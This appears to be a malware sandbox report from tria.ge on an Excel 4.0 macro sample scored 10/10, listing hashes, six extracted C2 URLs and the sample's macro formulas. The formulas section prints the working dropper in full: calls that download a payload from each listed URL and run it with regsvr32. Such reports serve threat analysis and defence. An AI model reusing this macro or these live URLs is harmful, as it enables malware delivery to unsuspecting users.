Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

General

  • Target

    4512430ebfbd2ad64eaf27446140e75606f5f3f882bc032f80154f829f594e23

  • Size

    46KB

  • Sample

    241111-2bsa2ayapp

  • MD5

    5bc10c25cc886aec07684e01ffbfbf2e

  • SHA1

    24845fea6bbd4563f8dcad5acbaa2ac563d6ecc1

  • SHA256

    4512430ebfbd2ad64eaf27446140e75606f5f3f882bc032f80154f829f594e23

  • SHA512

    6ff2e9e6d6c6d20fb6354b58a3c5a7a03e2c2d6f6c8416aec1ccca92a7abffd7ea85f061ca8a98309dc24af336bef6c51308c55fe475e32da2a80e8fd0556411

  • SSDEEP

    768:lGovDOevZCwrvtBtfzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VU2fUPZa:EovDztT5fTR4Lh1NisFYBc3cr+UqVU5c

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://touqarrayan.com/wp-content/RoiB/

http://nayzaqaljanoob-iq.com/sapbush/tylhe1/

http://cabinet-bribech.com/wp/DyMNglRY5B4abPy1hH/

http://retailhpsinterview.com/cgi-bin/dJp9RYh/

https://lisalmcgee.com/images/xpl7i1ETzHPwaFd89HS/

https://collision-staging.com/wp-content/94PQ1/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://touqarrayan.com/wp-content/RoiB/","..\enu.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://nayzaqaljanoob-iq.com/sapbush/tylhe1/","..\enu.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://cabinet-bribech.com/wp/DyMNglRY5B4abPy1hH/","..\enu.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://retailhpsinterview.com/cgi-bin/dJp9RYh/","..\enu.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://lisalmcgee.com/images/xpl7i1ETzHPwaFd89HS/","..\enu.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://collision-staging.com/wp-content/94PQ1/","..\enu.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\enu.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://touqarrayan.com/wp-content/RoiB/

xlm40.dropper

http://nayzaqaljanoob-iq.com/sapbush/tylhe1/

xlm40.dropper

http://cabinet-bribech.com/wp/DyMNglRY5B4abPy1hH/

xlm40.dropper

http://retailhpsinterview.com/cgi-bin/dJp9RYh/

xlm40.dropper

https://lisalmcgee.com/images/xpl7i1ETzHPwaFd89HS/

xlm40.dropper

https://collision-staging.com/wp-content/94PQ1/

Targets

    • Target

      4512430ebfbd2ad64eaf27446140e75606f5f3f882bc032f80154f829f594e23

    • Size

      46KB

    • MD5

      5bc10c25cc886aec07684e01ffbfbf2e

    • SHA1

      24845fea6bbd4563f8dcad5acbaa2ac563d6ecc1

    • SHA256

      4512430ebfbd2ad64eaf27446140e75606f5f3f882bc032f80154f829f594e23

    • SHA512

      6ff2e9e6d6c6d20fb6354b58a3c5a7a03e2c2d6f6c8416aec1ccca92a7abffd7ea85f061ca8a98309dc24af336bef6c51308c55fe475e32da2a80e8fd0556411

    • SSDEEP

      768:lGovDOevZCwrvtBtfzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VU2fUPZa:EovDztT5fTR4Lh1NisFYBc3cr+UqVU5c

    Score
    10/10

MITRE ATT&CK Enterprise v15

Tasks